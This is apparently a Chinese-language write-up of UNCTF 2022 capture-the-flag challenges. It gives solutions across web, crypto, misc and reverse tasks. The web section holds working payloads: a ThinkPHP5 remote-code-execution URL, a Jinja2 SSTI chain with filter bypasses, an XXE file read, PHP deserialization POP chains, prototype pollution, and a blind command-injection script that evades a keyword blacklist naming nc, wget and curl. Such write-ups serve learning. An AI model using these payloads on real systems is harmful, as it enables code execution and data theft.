这次比赛学习到了很多知识,主要做的是web,而且web做的也不是很好,为了拿分到后面只能边学边做杂项和逆向,基本都是csdn然后跟着步骤做出来的,原理什么的还没开始学,也只能做做简单题了。。。纪录一下吧。路还长,还要继续走。
Web
我太喜欢bilibili大学啦1(phpinfo)
phpinfo()搜索flag或者unctf
签到(默认密码 遍历用户名)
bp爆破用户名,初始学号开始爆破n位,密码不变
babyphp(sha1()绕过 phpinfo)
访问index.php
源码
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_POST["a"])){
if($_POST["a"]==0&&$_POST["a"]!==0){
if(isset($_POST["key1"])&isset($_POST["key2"])){
$key1=$_POST["key1"];
$key2=$_POST["key2"];
if ($key1!==$key2&&sha1($key1)==sha1($key2)){
if (isset($_GET["code"])){
$code=$_GET["code"];
if(!preg_match("/flag|system|txt|cat|tac|sort|shell|\.| |\'/i", $code)){
eval($code);
}else{
echo "有手就行</br>";
}
}else{
echo "老套路了</br>";
}
}else{
echo "很简单的,很快就拿flag了~_~</br>";
}
}else{
echo "百度就能搜到的东西</br>";
}
}else{
echo "easy 不 easy ,baby 真 baby,都是玩烂的东西,快拿flag!!!</br>";
}
}
数组返回null绕过sha1函数,弱比较,false == false => true
flag藏在phpinfo里,搜索
payload
GET:?code=phpinfo();
POST:a=0a&key1[]=1&key2[]=2
easy_upload(文件上传 找flag)
修改MIME即可上传,蚁剑连接
找到/tmp/flag.sh文件,发现flag藏在/home/ctf/flag
给你一刀(THINKPHP5 ENV)
直接网上搜漏洞payload,flag在环境变量里
payload
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=env
我太喜欢bilibili大学啦2(目录扫描 phpinfo)
根据题目搜索hint,base64解码
访问admin_unctf.php
f12看到提示让抓包,试试
继续解码,得到用户名密码
源码
<?php
putenv("FLAG=nonono");
if(!isset($_POST['username']) && !isset($_POST['password'])){
exit("username or password is empty");
}else{
if($_POST['username'] === "unctf2022" && $_POST['password'] === "unctf2022"){
show_source(__FILE__);
@system("ping ".$_COOKIE['cmd']);
}else{
exit("username or password error");
}
}
这里注意Cookie发送
由于刚才登录成功的时候已经发送cookie给服务器了,所以再次发送cookie无法有结果。我的做法是销毁靶机重新开,等到第一次登录的时候抓包,添加cookie。
解码,访问,得到flag。(踩了挺久的坑)
302与深大(重定向 cookie伪造 目录扫描)
f12查看源码,提示302,让我们找到原来的页面。看到url发现一进来的页面是saveas.html,一般来说应该是默认index.php。于是试试访问index.php(需要抓包)
bp抓包修改,访问index.php
获得前半段flag。然后右键改变请求方式,根据提示,添加Cookie: admin=true
搜索flag即可获得后半段
或者通过目录扫描,得到Dockerfile,获得后半段flag
easy_ssti(jinjia2 ssti 绕过 ENV)
登录进去,看到页面显示了我们的用户名。接下来判断是什么模板。
使用{{7*‘7’}}发现结果,判断为jinjia2
尝试执行命令,发现过滤class。
Flask在渲染模板的时候,有
"".__class__
===""["__class__"]
这一特性,把上下文变成了[]中的字符串,这个特性经常会被用来绕过点号的过滤。
由于里面的内容已经是字符串了,还可以做一个这样的变形
"".__class__
===""["__cla"+"ss__"]
这样就能够使用拼接的方式绕过class,包括下面的subclasses也是如此。但是可能也无法执行,响应码为500,显示如下内容,不能完成请求
后面尝试将59
修改成其他较大数字(超过__subclasses__
类子类个数),发现成功了(当时搞了挺久没想到这样能执行,运气来了,也不懂什么原理,大概是因为后面的__init__
会初始化类吧)
payload
user={{()["__cla""ss__"]["__bases__"][0]["__subcla""sses__"]()[211].__init__.__globals__['__builtins__']['ev'+'al']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("env")'+'.re'+'ad'+'()')}}&pwd=123
听说php有一个xxe(文件读取)
根据提示访问/hint和dom.php,获得dom.php代码
post发送读取文件的外部实体payload,读取/flag
由于没有安装expect扩展,不能用该方式执行命令
payload
<!DOCTYPE note [
<!ENTITY textContent SYSTEM "file:///flag">
]>
<user><username>&textContent;</username></user>
ezunseri(反序列化 属性不敏感 pop构造 fast_destruct)
源码
<?php
highlight_file(__FILE__);
error_reporting(0);
class Exec
{
public $content;
public function execute($var){
eval($this->content);
}
public function __get($name){
echo $this->content;
}
public function __invoke(){
$content = $this->execute($this->content);
}
public function __wakeup()
{
$this->content = "";
die("1!5!");
}
}
class Test
{
public $test;
public $key;
public function __construct(){
$this->test = "test123";
}
public function __toString(){
$name = $this->test;
$name();
}
}
class Login
{
private $name;
public $code = " JUST FOR FUN";
public $key;
public function __construct($name="UNCTF"){
$this->name = $name;
}
public function show(){
echo $this->name.$this->code;
}
public function __destruct(){
if($this->code = '3.1415926'){
return $this->key->name;
}
}
}
if(isset($_GET['pop'])){
$a = unserialize($_GET[pop]);
}else{
$a = new Login();
$a->show();
}
<?php
//Exec::execute() <- Exec::__invoke() <- Test::__toString() <- Exec::__get() <- Login::__destruct()
class Exec
{
public $content;
}
class Test
{
public $test;
public $key;
}
class Login
{
public $name;
public $code;
public $key;
}
$l = new Login();
$l->key = new Exec();
$l->key->content = new Test();
$l->key->content->test = new Exec();
$l->key->content->test->content = "system('cat /flag');";
echo serialize($l); //去掉最后一个'}'
返回包查看php版本,版本7.1+属性不敏感,绕过private。
去掉最后一个’}'即可在调用
__wakeup()
之前调用__destruct()
,绕过__wakeup()
。
payload
?pop=O:5:"Login":3:{s:4:"name";N;s:4:"code";N;s:3:"key";O:4:"Exec":1:{s:7:"content";O:4:"Test":2:{s:4:"test";O:4:"Exec":1:{s:7:"content";s:20:"system('cat /flag');";}s:3:"key";N;}}
poppop(反序列化 pop构造 private ENV)
源码
<?php
class A{
public $code = "";
function __call($method,$args){
eval($this->code);
}
function __wakeup(){
$this->code = "";
}
}
class B{
public $key;
function __destruct(){
echo $this->key;
}
}
class C{
private $key2;
function __toString()
{
return $this->key2->abab();
}
}
if(isset($_POST['poc'])) {
unserialize($_POST['poc']);
}else{
highlight_file(__FILE__);
}
<?php
//A::__call() <- C::__toString() <- B::__destruct()
class A{
public $code;
}
class B{
public $key;
}
class C{
public $key2; //源代码中为private,payload需要添加%00
}
$b = new B();
$b->key = new C();
$b->key->key2 = new A();
$b->key->key2->code = "system('ls')";
echo serialize($b);
//poc=O:1:"B":3:{s:3:"key";O:1:"C":1:{s:7:"%00C%00key2";O:1:"A":1:{s:4:"code";s:14:"system('env');";}}}
payload
poc=O:1:"B":3:{s:3:"key";O:1:"C":1:{s:7:"%00C%00key2";O:1:"A":1:{s:4:"code";s:14:"system('env');";}}}
babynode(nodejs 原型链污染 Content-Type修改)
源码
app.post('/', function(req, res) {
var flag='flag';
var admin = {};
let user = {};
try{
copy(user,req.body);
}
catch (error){
res.send("copy error");
return;
}
if(admin.id==='unctf'){
res.end(flag);
}
else{
return res.end("error");
}
}
注意需要把Content-Type改为application/json
payload
{"__proto__":{"id":"unctf"}}
easy_rce(布尔盲注 if)
源码
<?php
# flag in /flag
if(isset($_GET['code'])){
$code=$_GET['code'];
if (!preg_match('/\@|\#|\%|:|&|;|\\\\|"|\'|`|\.|\&|\*|>|<|nc|wget|bash|sh|netcat|grep|base64|rev|curl|wget|php|ping|cat|fl|mkdir/i',$code)){
exec($code,$output,$return_val);
if(!$return_val) echo "success";
else{
echo "fail";
}
}
else{
die("小黑子,露出只因脚了吧");
}
}
else{
highlight_file(__FILE__);
}
?>
题目提示flag在/flag。
exec($code,$output,$return_val)
执行$code命令,以数组的形式输出到$output数组中,命令执行失败返回空数组。$return_val为执行命令后返回的值
if(!$return_val)
?code=return 0 //$return_val = 0 => if(!0) => 页面显示success
?code=return 1 //$return_val = 1 => if(!1) => 页面显示fail
?code=exit 0 //$return_val = 0 => if(!0) => 页面显示success
?code=exit 1 //$return_val = 1 => if(!1) => 页面显示fail
linux下return和exit都可以使用,windows下经过测试只有exit可以
由此,我们可以执行cut命令获取文件中的内容,借助if判断,返回0或1,根据页面显示success或fail来达到盲注,与sql类似。
if [ $(cut -c 1 /flag) = 'U' ];then return 1; fi //取/flag文件的第一个字符,如果等于'U',返回1,否则命令没有执行成功,返回0。注意'['、']'的右、左侧都要一个空格
再结合base64
编码绕过,之后使用sh
(试过使用bash
不行)。使用$()
绕过关键字。这里有个问题,base64编码后的结果可能匹配到黑名单,导致得到的flag不全。可以通过多加几个空格来解决这个问题。
if [ $(cut -c 1 /?lag ) = 'U' ] ; then return 1 ; fi
echo IGlmIFsgJChjdXQgLWMgIDEgICAvP2xhZyApID0gJ1UnICAgXSAgOyB0aGVuICAgIHJldHVybiAgMSA7IGZp|base6$()4 -d|s$()h
脚本
import base64
import requests
import string
t=string.ascii_letters+string.digits
t=t+"{}_-`~!@#$%^&*()+"
result = ""
for i in range(1,50):
for j in t:
payload0=rf" if [ $(cut -c {i} /?lag ) = '{j}' ] ; then return 1 ; fi"
payload1 = str(base64.b64encode(payload0.encode("utf-8")), "utf-8")
payload2 = "echo "+payload1+"|base6$()4 -d|s$()h"
url="http://03983356-25f0-4b9f-bad6-9733e039571c.node.yuzhian.com.cn/?code="+payload2
r = requests.get(url=url)
#print(r.text)
if('fail' in r.text):
result += j
print(result)
break
if '}' in result:
break
Crypto
md5-1(碰撞)
from hashlib import md5
import string
s = string.ascii_letters+string.digits+string.punctuation
result = ""
l=[]
with open(r'D:\Desktop\test\crypto-md5-1\out.txt','r') as f:
for line in f:
line = line[:-1] #去掉\n
l.append(line)
for i in range(0,len(l)):
for j in s:
if md5(j.encode()).hexdigest() == l[i]:
result += j
break
print(result)
dddd(摩尔斯密码 变换)
110/01/0101/0/1101/0000100/0100/11110/111/110010/0/1111/10000/111/110010/1000/110/111/0/110010/00/00000/101/111/1/0000010
写个脚本,将0替换为-或.
,将1替换为.或-
,通过在线工具解密
s = r"110/01/0101/0/1101/0000100/0100/11110/111/110010/0/1111/10000/111/110010/1000/110/111/0/110010/00/00000/101/111/1/0000010"
s = s.replace('1','.')
s = s.replace('0','-')
print(s)
#a = r"U N C T F %u7b Y 4 S %ud T H 1 S %ud J U S T %ud M 0 R S E %u7d "
#print(a.replace(" ",""))
最后把一些符号替换成{_}
caesar(凯撒密码 变换)
将普通字母表换成base64即可
md5-2(碰撞 异或 变换)
根据源代码可知,txt文件的每个字符串是由flag中的第i-1个哈希值十进制和第i个哈希值十进制异或得到(i=0时为文件中的字符串为第一个字符的哈希值),最后将结果转为十六进制。
for i in range(0,len(md5_)):
if i==0:
with open('out.txt','a')as file:
file.write(hex(md5_[i])[2:]+'\n')
else:
with open('out.txt','a')as file:
file.write(hex(md5_[i]^md5_[i-1])[2:]+'\n')
由于两个相同的数异或为0,任意数和0异或是本身,因此过程可逆
12 ^ 12 = 0 11 ^ 13 ^ 11 = 13
写脚本将其过程逆向得到原本第i个字符的哈希值,最后碰撞得到flag
脚本
import string
from hashlib import md5
l=[]
with open('out.txt','r') as f:
for line in f:
line = line[:-1]
l.append(line)
print(l)
z = []
for i in range(0,len(l)):
if(i==0):
z.append(l[0])
elif(i>0):
y = hex(int(l[i],16)^int(z[i-1],16))[2:]
if(len(y)!=32): #哈希值为0开头就会导致无法匹配,因此需要判断长度,当然也有可能需要加两个0,但可能性比较小
y = "0"+y
z.append(y)
s = string.ascii_letters+string.digits+string.punctuation
result = ""
for k in range(0,len(z)):
for i in s:
x = md5(i.encode()).hexdigest()
if(x == z[k]):
result+=i
print(result)
break
ezRSA(RSA 变换)
源代码
import libnum
p=libnum.generate_prime(256)
e=65537
m=flag
m=libnum.s2n(m)
n=p**4
phi_n=p**4-p**3
d=libnum.invmod(e,phi_n)
c=pow(m,e,n)
print ("n=",n)
print ("e=",e)
print ("c=",c)
62927872600012424750752897921698090776534304875632744929068546073325488283530025400224435562694273281157865037525456502678901681910303434689364320018805568710613581859910858077737519009451023667409223317546843268613019139524821964086036781112269486089069810631981766346242114671167202613483097500263981460561
65537 56959646997081238078544634686875547709710666590620774134883288258992627876759606112717080946141796037573409168410595417635905762691247827322319628226051756406843950023290877673732151483843276348210800329658896558968868729658727981445607937645264850938932045242425625625685274204668013600475330284378427177504
给出n、e、c,求m。phi_n和n为题目给的,网站分解n得到p,其他按照正常步骤进行解密即可
脚本
import gmpy2
import binascii
e=65537
p=89065756791595323358603857939783936930073695697065732353414009005162022399741
c=56959646997081238078544634686875547709710666590620774134883288258992627876759606112717080946141796037573409168410595417635905762691247827322319628226051756406843950023290877673732151483843276348210800329658896558968868729658727981445607937645264850938932045242425625625685274204668013600475330284378427177504
n=p**4
phi_n=p**4-p**3
d=gmpy2.invert(e,phi_n)
m = gmpy2.powmod(c,d,n)
m = binascii.unhexlify(hex(m)[2:])
print("m=",m)
Single table(playfair变换)
古典密码playfair加解密的变换,观察如何加密,再反向即解密。(这里的P1P2同行有两种情况,最后根据解密的结果猜测flag,紧靠左方)
结果
Misc
magic_word(乱码+零宽隐写)
打开文件发现有乱码和一堆符号,试试将.docx后缀改为.zip,到word的document.xml复制乱码去网上的乱码在线自动修复工具,得到提示。
发现这一堆符号变成了一段英文
零宽字符,不可见、不可打印的字符,用于调整字符的显示格式
常见的零宽字符以及unicode码如下:
零宽度空格符U+200B:较长单词换行分隔
零宽度非断空格符U+FEFF:阻止特定位置的换行分隔
零宽度连字符U+200D
零宽度断字符U+200C
左至右符U+200E
右至左符U+200F
将一堆符号复制到linux,用打开vim查看,可以看到有蓝色的零宽字符
使用在线工具零宽解码
复制xml里面的英文到左上角的框,然后点击encode,再点击decode,即可得到flag(一次可能无法得到,可以clear重新粘贴重复上述步骤,或者上传文件来解码)
找得到我吗(改后缀.zip)
改后缀.zip,进入word的document.xml看到flag
syslog(搜索 解压密码)
打开压缩包,搜索password,得到base64编码,解码,得到压缩包密码
拿去解压flag.zip得到flag
Reverse
whereisyourkey(ExeinfoPE gcc elf 32bit)
010Editor打开搜索没有flag,使用工具ExeinfoPE,得到信息,32位文件,elf文件
拖到ida,shift+F12搜索flag
双击main函数查看
看到ooooo()函数,双击查看
所以,main函数大概意思是:我们输入的长度为10的字符串key的每一个字符,需要与v5-v14分别经过ooooo()函数处理返回的字符相同。接下来编写python代码实现
代码
a = [118,103,112,107,99,109,104,110,99,105]
def ooooo(a1):
if a1 == 109:
return 109
if ( a1 <= 111 ):
if ( a1 <= 110 ):
a1 -= 2
else:
a1 += 3
return a1
s = []
for i in a:
s.append(ooooo(i))
print(s)
x = ""
for i in s:
x+=chr(i)
print(x)